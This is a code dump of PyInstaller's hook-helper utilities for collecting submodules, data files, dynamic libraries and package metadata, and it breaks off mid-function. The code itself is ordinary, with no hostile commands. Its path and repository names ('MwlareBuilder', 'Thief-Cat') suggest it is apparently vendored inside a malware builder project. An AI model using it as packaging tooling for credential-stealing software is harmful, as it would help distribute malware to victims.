
    # psutil.Popen() somehow bypasses an application's windowed/console mode so that any application built in
    # --windowed mode but invoked with psutil still receives valid std{in,out,err} handles and behaves exactly like
    # a console application. In short, testing windowed mode with psutil is a null test. We must instead use subprocess.

    def _run_executable_(args, exe_path, prog_env, prog_cwd, runtime):
        return subprocess.run([exe_path, *args], env=prog_env, cwd=prog_cwd, timeout=runtime).returncode

    pyi_builder._run_executable_ = _run_executable_
    yield pyi_builder

ThiefCat_assets/MwlareBuilder/utils/conftest.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2005-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------

from __future__ import annotations

import copy
import os
import textwrap
import fnmatch
from pathlib import Path
from collections import deque
from typing import Callable

import packaging.requirements

from PyInstaller import HOMEPATH, compat
from PyInstaller import log as logging
from PyInstaller.depend.imphookapi import PostGraphAPI
from PyInstaller.exceptions import ExecCommandFailed
from PyInstaller import isolated
from PyInstaller.compat import importlib_metadata

logger = logging.getLogger(__name__)

# These extensions represent Python executables and should therefore be ignored when collecting data files.
# NOTE: .dylib files are not Python executable and should not be in this list.
PY_IGNORE_EXTENSIONS = set(compat.ALL_SUFFIXES)

# Some hooks need to save some values. This is the dict that can be used for that.
#
# When running tests this variable should be reset before every test.
#
# For example the 'wx' module needs variable 'wxpubsub'. This tells PyInstaller which protocol of the wx module
# should be bundled.
hook_variables = {}


def __exec_python_cmd(cmd, env=None, capture_stdout=True):
    """
    Executes an externally spawned Python interpreter. If capture_stdout is set to True, returns anything that was
    emitted in the standard output as a single string. Otherwise, returns the exit code.
    """
    # 'PyInstaller.config' cannot be imported as other top-level modules.
    from PyInstaller.config import CONF
    if env is None:
        env = {}
    # Update environment. Defaults to 'os.environ'
    pp_env = copy.deepcopy(os.environ)
    pp_env.update(env)
    # Prepend PYTHONPATH with pathex.
    # Some functions use some PyInstaller code in subprocess, so add PyInstaller HOMEPATH to sys.path as well.
    pp = os.pathsep.join(CONF['pathex'] + [HOMEPATH])

    # PYTHONPATH might be already defined in the 'env' argument or in the original 'os.environ'. Prepend it.
    if 'PYTHONPATH' in pp_env:
        pp = os.pathsep.join([pp_env.get('PYTHONPATH'), pp])
    pp_env['PYTHONPATH'] = pp

    if capture_stdout:
        txt = compat.exec_python(*cmd, env=pp_env)
        return txt.strip()
    else:
        return compat.exec_python_rc(*cmd, env=pp_env)


def __exec_statement(statement, capture_stdout=True):
    statement = textwrap.dedent(statement)
    cmd = ['-c', statement]
    return __exec_python_cmd(cmd, capture_stdout=capture_stdout)


def exec_statement(statement: str):
    """
    Execute a single Python statement in an externally-spawned interpreter, and return the resulting standard output
    as a string.

    Examples::

        tk_version = exec_statement("from _tkinter import TK_VERSION; print(TK_VERSION)")

        mpl_data_dir = exec_statement("import matplotlib; print(matplotlib.get_data_path())")
        datas = [ (mpl_data_dir, "") ]

    Notes:
        As of v5.0, usage of this function is discouraged in favour of the
        new :mod:`PyInstaller.isolated` module.

    """
    return __exec_statement(statement, capture_stdout=True)


def exec_statement_rc(statement: str):
    """
    Executes a Python statement in an externally spawned interpreter, and returns the exit code.
    """
    return __exec_statement(statement, capture_stdout=False)


def eval_statement(statement: str):
    """
    Execute a single Python statement in an externally-spawned interpreter, and :func:`eval` its output (if any).

    Example::

      databases = eval_statement('''
         import sqlalchemy.databases
         print(sqlalchemy.databases.__all__)
         ''')
      for db in databases:
         hiddenimports.append("sqlalchemy.databases." + db)

    Notes:
        As of v5.0, usage of this function is discouraged in favour of the
        new :mod:`PyInstaller.isolated` module.

    """
    txt = exec_statement(statement).strip()
    if not txt:
        # Return an empty string, which is "not true" but is iterable.
        return ''
    return eval(txt)


@isolated.decorate
def get_pyextension_imports(module_name: str):
    """
    Return list of modules required by binary (C/C++) Python extension.

    Python extension files ends with .so (Unix) or .pyd (Windows). It is almost impossible to analyze binary extension
    and its dependencies.

    Module cannot be imported directly.

    Let's at least try import it in a subprocess and observe the difference in module list from sys.modules.

    This function could be used for 'hiddenimports' in PyInstaller hooks files.
    """
    import sys
    import importlib

    original = set(sys.modules.keys())

    # When importing this module - sys.modules gets updated.
    importlib.import_module(module_name)

    # Find and return which new modules have been loaded.
    return list(set(sys.modules.keys()) - original - {module_name})


def get_homebrew_path(formula: str = ''):
    """
    Return the homebrew path to the requested formula, or the global prefix when called with no argument.

    Returns the path as a string or None if not found.
    """
    import subprocess
    brewcmd = ['brew', '--prefix']
    path = None
    if formula:
        brewcmd.append(formula)
        dbgstr = 'homebrew formula "%s"' % formula
    else:
        dbgstr = 'homebrew prefix'
    try:
        path = subprocess.check_output(brewcmd).strip()
        logger.debug('Found %s at "%s"' % (dbgstr, path))
    except OSError:
        logger.debug('Detected homebrew not installed')
    except subprocess.CalledProcessError:
        logger.debug('homebrew formula "%s" not installed' % formula)
    if path:
        return path.decode('utf8')  # Mac OS filenames are UTF-8
    else:
        return None


def remove_prefix(string: str, prefix: str):
    """
    This function removes the given prefix from a string, if the string does indeed begin with the prefix; otherwise,
    it returns the original string.
    """
    if string.startswith(prefix):
        return string[len(prefix):]
    else:
        return string


def remove_suffix(string: str, suffix: str):
    """
    This function removes the given suffix from a string, if the string does indeed end with the suffix; otherwise,
    it returns the original string.
    """
    # Special case: if suffix is empty, string[:0] returns ''. So, test for a non-empty suffix.
    if suffix and string.endswith(suffix):
        return string[:-len(suffix)]
    else:
        return string


# TODO: Do we really need a helper for this? This is pretty trivially obvious.
def remove_file_extension(filename: str):
    """
    This function returns filename without its extension.

    For Python C modules it removes even whole '.cpython-34m.so' etc.
    """
    for suff in compat.EXTENSION_SUFFIXES:
        if filename.endswith(suff):
            return filename[0:filename.rfind(suff)]
    # Fallback to ordinary 'splitext'.
    return os.path.splitext(filename)[0]


@isolated.decorate
def can_import_module(module_name: str):
    """
    Check if the specified module can be imported.

    Intended as a silent module availability check, as it does not print ModuleNotFoundError traceback to stderr when
    the module is unavailable.

    Parameters
    ----------
    module_name : str
        Fully-qualified name of the module.

    Returns
    ----------
    bool
        Boolean indicating whether the module can be imported or not.
    """
    try:
        __import__(module_name)
        return True
    except Exception:
        return False


# TODO: Replace most calls to exec_statement() with calls to this function.
def get_module_attribute(module_name: str, attr_name: str):
    """
    Get the string value of the passed attribute from the passed module if this attribute is defined by this module
    _or_ raise `AttributeError` otherwise.

    Since modules cannot be directly imported during analysis, this function spawns a subprocess importing this module
    and returning the string value of this attribute in this module.

    Parameters
    ----------
    module_name : str
        Fully-qualified name of this module.
    attr_name : str
        Name of the attribute in this module to be retrieved.

    Returns
    ----------
    str
        String value of this attribute.

    Raises
    ----------
    AttributeError
        If this attribute is undefined.
    """
    @isolated.decorate
    def _get_module_attribute(module_name, attr_name):
        import importlib
        module = importlib.import_module(module_name)
        return getattr(module, attr_name)

    # Return AttributeError on any kind of errors, to preserve old behavior.
    try:
        return _get_module_attribute(module_name, attr_name)
    except Exception as e:
        raise AttributeError(f"Failed to retrieve attribute {attr_name} from module {module_name}") from e


def get_module_file_attribute(package: str):
    """
    Get the absolute path to the specified module or package.

    Modules and packages *must not* be directly imported in the main process during the analysis. Therefore, to
    avoid leaking the imports, this function uses an isolated subprocess when it needs to import the module and
    obtain its ``__file__`` attribute.

    Parameters
    ----------
    package : str
        Fully-qualified name of module or package.

    Returns
    ----------
    str
        Absolute path of this module.
    """
    # First, try to use 'pkgutil'. It is the fastest way, but does not work on certain modules in pywin32 that replace
    # all module attributes with those of the .dll. In addition, we need to avoid it for submodules/subpackages,
    # because it ends up importing their parent package, which would cause an import leak during the analysis.
    filename: str | None = None
    if '.' not in package:
        try:
            import pkgutil
            loader = pkgutil.find_loader(package)
            filename = loader.get_filename(package)
            # Apparently in the past, ``None`` could be returned for built-in ``datetime`` module. Just in case this
            # is still possible, return only if filename is valid.
            if filename:
                return filename
        except (AttributeError, ImportError):
            pass

    # Second attempt: try to obtain module/package's __file__ attribute in an isolated subprocess.
    @isolated.decorate
    def _get_module_file_attribute(package):
        # First try to use 'pkgutil'; it returns the filename even if the module or package cannot be imported
        # (e.g., C-extension module with missing dependencies).
        try:
            import pkgutil
            loader = pkgutil.find_loader(package)
            filename = loader.get_filename(package)
            # Safe-guard against ``None`` being returned (see comment in the non-isolated codepath).
            if filename:
                return filename
        except (AttributeError, ImportError):
            pass

        # Fall back to import attempt
        import importlib
        p = importlib.import_module(package)
        return p.__file__

    # The old behavior was to return ImportError (and that is what the test are also expecting...).
    try:
        filename = _get_module_file_attribute(package)
    except Exception as e:
        raise ImportError(f"Failed to obtain the __file__ attribute of package/module {package}!") from e

    return filename


def get_pywin32_module_file_attribute(module_name):
    """
    Get the absolute path of the PyWin32 DLL specific to the PyWin32 module with the passed name (`pythoncom`
    or `pywintypes`).

    On import, each PyWin32 module:

    * Imports a DLL specific to that module.
    * Overwrites the values of all module attributes with values specific to that DLL. This includes that module's
      `__file__` attribute, which then provides the absolute path of that DLL.

    This function imports the module in isolated subprocess and retrieves its `__file__` attribute.
    """

    # NOTE: we cannot use `get_module_file_attribute` as it does not account for the  __file__ rewriting magic
    # done by the module. Use `get_module_attribute` instead.
    return get_module_attribute(module_name, '__file__')


def check_requirement(requirement: str):
    """
    Check if a :pep:`0508` requirement is satisfied. Usually used to check if a package distribution is installed,
    or if it is installed and satisfies the specified version requirement.

    Parameters
    ----------
    requirement : str
        Requirement string in :pep:`0508` format.

    Returns
    ----------
    bool
        Boolean indicating whether the requirement is satisfied or not.

    Examples
    --------

    ::

        # Assume Pillow 10.0.0 is installed.
        >>> from PyInstaller.utils.hooks import check_requirement
        >>> check_requirement('Pillow')
        True
        >>> check_requirement('Pillow < 9.0')
        False
        >>> check_requirement('Pillow >= 9.0, < 11.0')
        True
    """
    parsed_requirement = packaging.requirements.Requirement(requirement)

    # Fetch the actual version of the specified dist
    try:
        version = importlib_metadata.version(parsed_requirement.name)
    except importlib_metadata.PackageNotFoundError:
        return False  # Not available at all

    # If specifier is not given, the only requirement is that dist is available
    if not parsed_requirement.specifier:
        return True

    # Parse specifier, and compare version
    return version in parsed_requirement.specifier


# Keep the `is_module_satisfies` as an alias for backwards compatibility with existing hooks. The old fallback
# to module version check does not work any more, though.
def is_module_satisfies(
    requirements: str,
    version: None = None,
    version_attr: None = None,
):
    """
    A compatibility wrapper for :func:`check_requirement`, intended for backwards compatibility with existing hooks.

    In contrast to original implementation from PyInstaller < 6, this implementation only checks the specified
    :pep:`0508` requirement string; i.e., it tries to retrieve the distribution metadata, and compare its version
    against optional version specifier(s). It does not attempt to fall back to checking the module's version attribute,
    nor does it support ``version`` and ``version_attr`` arguments.

    Parameters
    ----------
    requirements : str
        Requirements string passed to the :func:`check_requirement`.
    version : None
        Deprecated and unsupported. Must be ``None``.
    version_attr : None
        Deprecated and unsupported. Must be ``None``.

    Returns
    ----------
    bool
        Boolean indicating whether the requirement is satisfied or not.

    Raises
    ----------
    ValueError
        If either ``version`` or ``version_attr`` are specified and are not None.
    """
    if version is not None:
        raise ValueError("Calling is_module_satisfies with version argument is not supported anymore.")
    if version_attr is not None:
        raise ValueError("Calling is_module_satisfies with version argument_attr is not supported anymore.")
    return check_requirement(requirements)


def is_package(module_name: str):
    """
    Check if a Python module is really a module or is a package containing other modules, without importing anything
    in the main process.

    :param module_name: Module name to check.
    :return: True if module is a package else otherwise.
    """
    def _is_package(module_name: str):
        """
        Determines whether the given name represents a package or not. If the name represents a top-level module or
        a package, it is not imported. If the name represents a sub-module or a sub-package, its parent is imported.
        In such cases, this function should be called from an isolated suprocess.
        """
        try:
            import importlib.util
            spec = importlib.util.find_spec(module_name)
            return bool(spec.submodule_search_locations)
        except Exception:
            return False

    # For top-level packages/modules, we can perform check in the main process; otherwise, we need to isolate the
    # call to prevent import leaks in the main process.
    if '.' not in module_name:
        return _is_package(module_name)
    else:
        return isolated.call(_is_package, module_name)


def get_all_package_paths(package: str):
    """
    Given a package name, return all paths associated with the package. Typically, packages have a single location
    path, but PEP 420 namespace packages may be split across multiple locations. Returns an empty list if the specified
    package is not found or is not a package.
    """
    def _get_package_paths(package: str):
        """
        Retrieve package path(s), as advertised by submodule_search_paths attribute of the spec obtained via
        importlib.util.find_spec(package). If the name represents a top-level package, the package is not imported.
        If the name represents a sub-module or a sub-package, its parent is imported. In such cases, this function
        should be called from an isolated suprocess. Returns an empty list if specified package is not found or is not
        a package.
        """
        try:
            import importlib.util
            spec = importlib.util.find_spec(package)
            if not spec or not spec.submodule_search_locations:
                return []
            return [str(path) for path in spec.submodule_search_locations]
        except Exception:
            return []

    # For top-level packages/modules, we can perform check in the main process; otherwise, we need to isolate the
    # call to prevent import leaks in the main process.
    if '.' not in package:
        pkg_paths = _get_package_paths(package)
    else:
        pkg_paths = isolated.call(_get_package_paths, package)

    return pkg_paths


def package_base_path(package_path: str, package: str):
    """
    Given a package location path and package name, return the package base path, i.e., the directory in which the
    top-level package is located. For example, given the path ``/abs/path/to/python/libs/pkg/subpkg`` and
    package name ``pkg.subpkg``, the function returns ``/abs/path/to/python/libs``.
    """
    return remove_suffix(package_path, package.replace('.', os.sep))  # Base directory


def get_package_paths(package: str):
    """
    Given a package, return the path to packages stored on this machine and also returns the path to this particular
    package. For example, if pkg.subpkg lives in /abs/path/to/python/libs, then this function returns
    ``(/abs/path/to/python/libs, /abs/path/to/python/libs/pkg/subpkg)``.

    NOTE: due to backwards compatibility, this function returns only one package path along with its base directory.
    In case of PEP 420 namespace package with multiple location, only first location is returned. To obtain all
    package paths, use the ``get_all_package_paths`` function and obtain corresponding base directories using the
    ``package_base_path`` helper.
    """
    pkg_paths = get_all_package_paths(package)
    if not pkg_paths:
        raise ValueError(f"Package '{package}' does not exist or is not a package!")

    if len(pkg_paths) > 1:
        logger.warning(
            "get_package_paths - package %s has multiple paths (%r); returning only first one!", package, pkg_paths
        )

    pkg_dir = pkg_paths[0]
    pkg_base = package_base_path(pkg_dir, package)

    return pkg_base, pkg_dir


def collect_submodules(
    package: str,
    filter: Callable[[str], bool] = lambda name: True,
    on_error: str = "warn once",
):
    """
    List all submodules of a given package.

    Arguments:
        package:
            An ``import``-able package.
        filter:
            Filter the submodules found: A callable that takes a submodule name and returns True if it should be
            included.
        on_error:
            The action to take when a submodule fails to import. May be any of:

            - raise: Errors are reraised and terminate the build.
            - warn: Errors are downgraded to warnings.
            - warn once: The first error issues a warning but all
              subsequent errors are ignored to minimise *stderr pollution*. This
              is the default.
            - ignore: Skip all errors. Don't warn about anything.
    Returns:
        All submodules to be assigned to ``hiddenimports`` in a hook.

    This function is intended to be used by hook scripts, not by main PyInstaller code.

    Examples::

        # Collect all submodules of Sphinx don't contain the word ``test``.
        hiddenimports = collect_submodules(
            "Sphinx", ``filter=lambda name: 'test' not in name)

    .. versionchanged:: 4.5
        Add the **on_error** parameter.

    """
    # Accept only strings as packages.
    if not isinstance(package, str):
        raise TypeError('package must be a str')
    if on_error not in ("ignore", "warn once", "warn", "raise"):
        raise ValueError(
            f"Invalid on-error action '{on_error}': Must be one of ('ignore', 'warn once', 'warn', 'raise')"
        )

    logger.debug('Collecting submodules for %s', package)

    # Skip a module which is not a package.
    if not is_package(package):
        logger.debug('collect_submodules - %s is not a package.', package)
        # If module is importable, return its name in the list, in order to keep behavior consistent with the
        # one we have for packages (i.e., we include the package in the list of returned names)
        if can_import_module(package):
            return [package]
        return []

    # Determine the filesystem path(s) to the specified package.
    package_submodules = []

    todo = deque()
    todo.append(package)

    with isolated.Python() as isolated_python:
        while todo:
            # Scan the given (sub)package
            name = todo.pop()
            modules, subpackages, on_error = isolated_python.call(_collect_submodules, name, on_error)

            # Add modules to the list of all submodules
            package_submodules += [module for module in modules if filter(module)]

            # Add sub-packages to deque for subsequent recursion
            for subpackage_name in subpackages:
                if filter(subpackage_name):
                    todo.append(subpackage_name)

    package_submodules = sorted(package_submodules)

    logger.debug("collect_submodules - found submodules: %s", package_submodules)
    return package_submodules


# This function is called in an isolated sub-process via `isolated.Python.call`.
def _collect_submodules(name, on_error):
    import sys
    import pkgutil
    from traceback import format_exception_only

    from PyInstaller.utils.hooks import logger

    logger.debug("collect_submodules - scanning (sub)package %s", name)

    modules = []
    subpackages = []

    # Resolve package location(s)
    try:
        __import__(name)
    except Exception as ex:
        # Catch all errors and either raise, warn, or ignore them as determined by the *on_error* parameter.
        if on_error in ("warn", "warn once"):
            from PyInstaller.log import logger
            ex = "".join(format_exception_only(type(ex), ex)).strip()
            logger.warning(f"Failed to collect submodules for '{name}' because importing '{name}' raised: {ex}")
            if on_error == "warn once":
                on_error = "ignore"
            return modules, subpackages, on_error
        elif on_error == "raise":
            raise ImportError(f"Unable to load subpackage '{name}'.") from ex

    # Do not attempt to recurse into package if it did not make it into sys.modules.
    if name not in sys.modules:
        return modules, subpackages, on_error

    # Or if it does not have __path__ attribute.
    paths = getattr(sys.modules[name], '__path__', None) or []
    if not paths:
        return modules, subpackages, on_error

    # Package was successfully imported - include it in the list of modules.
    modules.append(name)

    # Iterate package contents
    logger.debug("collect_submodules - scanning (sub)package %s in location(s): %s", name, paths)
    for importer, name, ispkg in pkgutil.iter_modules(paths, name + '.'):
        if not ispkg:
            modules.append(name)
        else:
            subpackages.append(name)

    return modules, subpackages, on_error


def is_module_or_submodule(name: str, mod_or_submod: str):
    """
    This helper function is designed for use in the ``filter`` argument of :func:`collect_submodules`, by returning
    ``True`` if the given ``name`` is a module or a submodule of ``mod_or_submod``.

    Examples:

        The following excludes ``foo.test`` and ``foo.test.one`` but not ``foo.testifier``. ::

            collect_submodules('foo', lambda name: not is_module_or_submodule(name, 'foo.test'))``
    """
    return name.startswith(mod_or_submod + '.') or name == mod_or_submod


# Patterns of dynamic library filenames that might be bundled with some installed Python packages.
PY_DYLIB_PATTERNS = [
    '*.dll',
    '*.dylib',
    'lib*.so',
]


def collect_dynamic_libs(package: str, destdir: str | None = None, search_patterns: list = PY_DYLIB_PATTERNS):
    """
    This function produces a list of (source, dest) of dynamic library files that reside in package. Its output can be
    directly assigned to ``binaries`` in a hook script. The package parameter must be a string which names the package.

    :param destdir: Relative path to ./dist/APPNAME where the libraries should be put.
    :param search_patterns: List of dynamic library filename patterns to collect.
    """
    logger.debug('Collecting dynamic libraries for %s' % package)

    # Accept only strings as packages.
    if not isinstance(package, str):
        raise TypeError('package must be a str')

    # Skip a module which is not a package.
    if not is_package(package):
        logger.warning(
            "collect_dynamic_libs - skipping library collection for module '%s' as it is not a package.", package
        )
        return []

    pkg_dirs = get_all_package_paths(package)
    dylibs = []
    for pkg_dir in pkg_dirs:
        pkg_base = package_base_path(pkg_dir, package)
        # Recursively glob for all file patterns in the package directory
        for pattern in search_patterns:
            files = Path(pkg_dir).rglob(pattern)
            for source in files:
                # Produce the tuple ('/abs/path/to/source/mod/submod/file.pyd', 'mod/submod')
                if destdir:
                    # Put libraries in the specified target directory.
                    dest = destdir
                else:
                    # Preserve original directory hierarchy.
                    dest = source.parent.relative_to(pkg_base)
                logger.debug(' %s, %s' % (source, dest))
                dylibs.append((str(source), str(dest)))

    return dylibs


def collect_data_files(
    package: str,
    include_py_files: bool = False,
    subdir: str | os.PathLike | None = None,
    excludes: list | None = None,
    includes: list | None = None,
):
    r"""
    This function produces a list of ``(source, dest)`` entries for data files that reside in ``package``.
    Its output can be directly assigned to ``datas`` in a hook script; for example, see ``hook-sphinx.py``.
    The data files are all files that are not shared libraries / binary python extensions (based on extension
    check) and are not python source (.py) files or byte-compiled modules (.pyc). Collection of the .py and .pyc
    files can be toggled via the ``include_py_files`` flag.
    Parameters:

    -   The ``package`` parameter is a string which names the package.
    -   By default, python source files and byte-compiled modules (files with ``.py`` and ``.pyc`` suffix) are not
        collected; setting the ``include_py_files`` argument to ``True`` collects these files as well. This is typically
        used when a package requires source .py files to be available; for example, JIT compilation used in
        deep-learning frameworks, code that requires access to .py files (for example, to check their date), or code
        that tries to extend `sys.path` with subpackage paths in a way that is incompatible with PyInstaller's frozen
        importer.. However, in contemporary PyInstaller versions, the preferred way of collecting source .py files is by
        using the **module collection mode** setting (which enables collection of source .py files in addition to or
        in lieu of collecting byte-compiled modules into PYZ archive).
    -   The ``subdir`` argument gives a subdirectory relative to ``package`` to search, which is helpful when submodules
        are imported at run-time from a directory lacking ``__init__.py``.
    -   The ``excludes`` argument contains a sequence of strings or Paths. These provide a list of
        `globs <https://docs.python.org/3/library/pathlib.html#pathlib.Path.glob>`_
        to exclude from the collected data files; if a directory matches the provided glob, all files it contains will
        be excluded as well. All elements must be relative paths, which are relative to the provided package's path
        (/ ``subdir`` if provided).

        Therefore, ``*.txt`` will exclude only ``.txt`` files in ``package``\ 's path, while ``**/*.txt`` will exclude
        all ``.txt`` files in ``package``\ 's path and all its subdirectories. Likewise, ``**/__pycache__`` will exclude
        all files contained in any subdirectory named ``__pycache__``.
    -   The ``includes`` function like ``excludes``, but only include matching paths. ``excludes`` override
        ``includes``: a file or directory in both lists will be excluded.

    This function does not work on zipped Python eggs.

    This function is intended to be used by hook scripts, not by main PyInstaller code.
    """
    logger.debug('Collecting data files for %s' % package)

    # Accept only strings as packages.
    if not isinstance(package, str):
        raise TypeError('package must be a str')

    # Skip a module which is not a package.
    if not is_package(package):
        logger.warning("collect_data_files - skipping data collection for module '%s' as it is not a package.", package)
        return []

    # Make sure the excludes are a list; this also makes a copy, so we don't modify the original.
    excludes = list(excludes) if excludes else []
    # These excludes may contain directories which need to be searched.
    excludes_len = len(excludes)
    # Including py files means don't exclude them. This pattern will search any directories for containing files, so
    # do not modify ``excludes_len``.
    if not include_py_files:
        excludes += ['**/*' + s for s in compat.ALL_SUFFIXES]
    else:
        # include_py_files should collect only .py and .pyc files, and not the extensions / shared libs.
        excludes += ['**/*' + s for s in compat.ALL_SUFFIXES if s not in {'.py', '.pyc'}]

    # Never, ever, collect .pyc files from __pycache__.
    excludes.append('**/__pycache__/*.pyc')

    # If not specified, include all files. Follow the same process as the excludes.
    includes = list(includes) if includes else ["**/*"]
    includes_len = len(includes)

    # A helper function to glob the in/ex "cludes", adding a wildcard to refer to all files under a subdirectory if a
    # subdirectory is matched by the first ``clude_len`` patterns. Otherwise, it in/excludes the matched file.
    # **This modifies** ``cludes``.
    def clude_walker(
        # Package directory to scan
        pkg_dir,
        # A list of paths relative to ``pkg_dir`` to in/exclude.
        cludes,
        # The number of ``cludes`` for which matching directories should be searched for all files under them.
        clude_len,
        # True if the list is includes, False for excludes.
        is_include
    ):
        for i, c in enumerate(cludes):
            for g in Path(pkg_dir).glob(c):
                if g.is_dir():
                    # Only files are sources. Subdirectories are not.
                    if i < clude_len:
                        # In/exclude all files under a matching subdirectory.
                        cludes.append(str((g / "**/*").relative_to(pkg_dir)))
                else:
                    # In/exclude a matching file.
                    sources.add(g) if is_include else sources.discard(g)

    # Obtain all paths for the specified package, and process each path independently.
    datas = []

    pkg_dirs = get_all_package_paths(package)
    for pkg_dir in pkg_dirs:
        sources = set()  # Reset sources set

        pkg_base = package_base_path(pkg_dir, package)
        if subdir:
            pkg_dir = os.path.join(pkg_dir, subdir)

        # Process the package path with clude walker
        clude_walker(pkg_dir, includes, includes_len, True)
        clude_walker(pkg_dir, excludes, excludes_len, False)

        # Transform the sources into tuples for ``datas``.
        datas += [(str(s), str(s.parent.relative_to(pkg_base))) for s in sources]

    logger.debug("collect_data_files - Found files: %s", datas)
    return datas


def collect_system_data_files(path: str, destdir: str | os.PathLike | None = None, include_py_files: bool = False):
    """
    This function produces a list of (source, dest) non-Python (i.e., data) files that reside somewhere on the system.
    Its output can be directly assigned to ``datas`` in a hook script.

    This function is intended to be used by hook scripts, not by main PyInstaller code.
    """
    # Accept only strings as paths.
    if not isinstance(path, str):
        raise TypeError('path must be a str')

    # Walk through all file in the given package, looking for data files.
    datas = []
    for dirpath, dirnames, files in os.walk(path):
        for f in files:
            extension = os.path.splitext(f)[1]
            if include_py_files or (extension not in PY_IGNORE_EXTENSIONS):
                # Produce the tuple: (/abs/path/to/source/mod/submod/file.dat, mod/submod/destdir)
                source = os.path.join(dirpath, f)
                dest = str(Path(dirpath).relative_to(path))
                if destdir is not None:
                    dest = os.path.join(destdir, dest)
                datas.append((source, dest))

    return datas


def copy_metadata(package_name: str, recursive: bool = False):
    """
    Collect distribution metadata so that ``importlib.metadata.distribution()`` or ``pkg_resources.get_distribution()``
    can find it.

    This function returns a list to be assigned to the ``datas`` global variable. This list instructs PyInstaller to
    copy the metadata for the given package to the frozen application's data directory.

    Parameters
    ----------
    package_name : str
        Specifies the name of the package for which metadata should be copied.
    recursive : bool
        If true, collect metadata for the package's dependencies too. This enables use of
        ``importlib.metadata.requires('package')`` or ``pkg_resources.require('package')`` inside the frozen
        application.

    Returns
    -------
    list
        This should be assigned to ``datas``.

    Examples
    --------
        >>> from PyInstaller.utils.hooks import copy_metadata
        >>> copy_metadata('sphinx')
        [('c:\\python27\\lib\\site-packages\\Sphinx-1.3.2.dist-info',
          'Sphinx-1.3.2.dist-info')]


    Some packages rely on metadata files accessed through the ``importlib.metadata`` (or the now-deprecated
    ``pkg_resources``) module. PyInstaller does not collect these metadata files by default.
    If a package fails without the metadata (either its own, or of another package that it depends on), you can use this
    function in a hook to collect the corresponding metadata files into the frozen application. The tuples in the
    returned list contain two strings. The first is the full path to the package's metadata directory on the system. The
    second is the destination name, which typically corresponds to the basename of the metadata directory. Adding these
    tuples the the ``datas`` hook global variable, the metadata is collected into top-level application directory (where
    it is usually searched for).

    .. versionchanged:: 4.3.1

        Prevent ``dist-info`` metadata folders being renamed to ``egg-info`` which broke ``pkg_resources.require`` with
        *extras* (see :issue:`#3033`).

    .. versionchanged:: 4.4.0

        Add the **recursive** option.
    """
    from collections import deque

    todo = deque([package_name])
    done = set()
    out = []

    while todo:
        package_name = todo.pop()
        if package_name in done:
            continue

        dist = importlib_metadata.distribution(package_name)

        # We support only `importlib_metadata.PathDistribution`, since we need to rely on its private `_path` attribute
        # to obtain the path to metadata file/directory. But we need to account for possible sub-classes and vendored
        # variants (`setuptools._vendor.importlib_metadata.PathDistribution˙), so just check that `_path` is available.
        if not hasattr(dist, '_path'):
            raise RuntimeError(
                f"Unsupported distribution type {type(dist)} for {package_name} - does not have _path attribute"
            )
        src_path = dist._path

        if src_path.is_dir():
            # The metadata is stored in a directory (.egg-info, .dist-info), so collect the whole directory. If the
            # package is installed as an egg, the metadata directory is ([...]/package_name-version.egg/EGG-INFO),
            # and requires special handling (as of PyInstaller v6, we support only non-zipped eggs).
            if src_path.name == 'EGG-INFO' and src_path.parent.name.endswith('.egg'):
                dest_path = os.path.join(*src_path.parts[-2:])
            else:
                dest_path = src_path.name
        elif src_path.is_file():
            # The metadata is stored in a single file. Collect it into top-level application directory.
            # The .egg-info file is commonly used by Debian/Ubuntu when packaging python packages.
            dest_path = '.'
        else:
            raise RuntimeError(
                f"Distribution metadata path {src_path!r} for {package_name} is neither file nor directory!"
            )

        out.append((str(src_path), str(dest_path)))

        if not recursive:
            return out
        done.add(package_name)

        # Process requirements; `importlib.metadata` has no API for parsing requirements, so we need to use
        # `packaging.requirements`. This is necessary to discard requirements with markers that do not match the
        # environment (e.g., `python_version`, `sys_platform`).
        requirements = [packaging.requirements.Requirement(req) for req in dist.requires or []]
        requirements = [req.name for req in requirements if req.marker is None or req.marker.evaluate()]

        todo += requirements

    return out


def get_installer(module: str):
    """
    Try to find which package manager installed a module.

    :param module: Module to check
    :return: Package manager or None
    """
    # Resolve distribution for given module/package name (e.g., enchant -> pyenchant).
    pkg_to_dist = importlib_metadata.packages_distributions()
    dist_names = pkg_to_dist.get(module)
    if dist_names is not None:
        # A namespace package might result in multiple dists; take the first one...
        try:
            dist = importlib_metadata.distribution(dist_names[0])
            installer_text = dist.read_text('INSTALLER')
            if installer_text is not None:
                return installer_text.strip()
        except importlib_metadata.PackageNotFoundError:
            # This might happen with eggs if the egg directory name does not match the dist name declared in the
            # metadata.
            pass

    if compat.is_darwin:
        try:
            file_name = get_module_file_attribute(module)
        except ImportError:
            return None

        # Attempt to resolve the module file via macports' port command
        try:
            output = compat.exec_command_stdout('port', 'provides', file_name)
            if 'is provided by' in output:
                return 'macports'
        except ExecCommandFailed:
            pass

        # Check if the file is located in homebrew's Cellar directory
        file_name = os.path.realpath(file_name)
        if 'Cellar' in file_name:
            return 'homebrew'

    return None


def collect_all(
    package_name: str,
    include_py_files: bool = True,
    filter_submodules: Callable = lambda name: True,
    exclude_datas: list | None = None,
    include_datas: list | None = None,
    on_error: str = "warn once",
):
    """
    Collect everything for a given package name.

    Arguments:
        package_name:
            An ``import``-able package name.
        include_py_files:
            Forwarded to :func:`collect_data_files`.
        filter_submodules:
            Forwarded to :func:`collect_submodules`.
        exclude_datas:
            Forwarded to :func:`collect_data_files`.
        include_datas:
            Forwarded to :func:`collect_data_files`.
        on_error:
            Forwarded onto :func:`collect_submodules`.

    Returns:
        tuple: A ``(datas, binaries, hiddenimports)`` triplet containing:

        - All data files, raw Python files (if **include_py_files**), and distribution metadata directories (if
          applicable).
        - All dynamic libraries as returned by :func:`collect_dynamic_libs`.
        - All submodules of **package_name**.

    Typical use::

        datas, binaries, hiddenimports = collect_all('my_package_name')
    """
    datas = collect_data_files(package_name, include_py_files, excludes=exclude_datas, includes=include_datas)
    binaries = collect_dynamic_libs(package_name)
    hiddenimports = collect_submodules(package_name, on_error=on_error, filter=filter_submodules)

    # `copy_metadata` requires a dist name instead of importable/package name.
    # A namespace package might belong to multiple distributions, so process all of them.
    pkg_to_dist = importlib_metadata.packages_distributions()
    dist_names = set(pkg_to_dist.get(package_name, []))
    for dist_name in dist_names:
        # Copy metadata
        try:
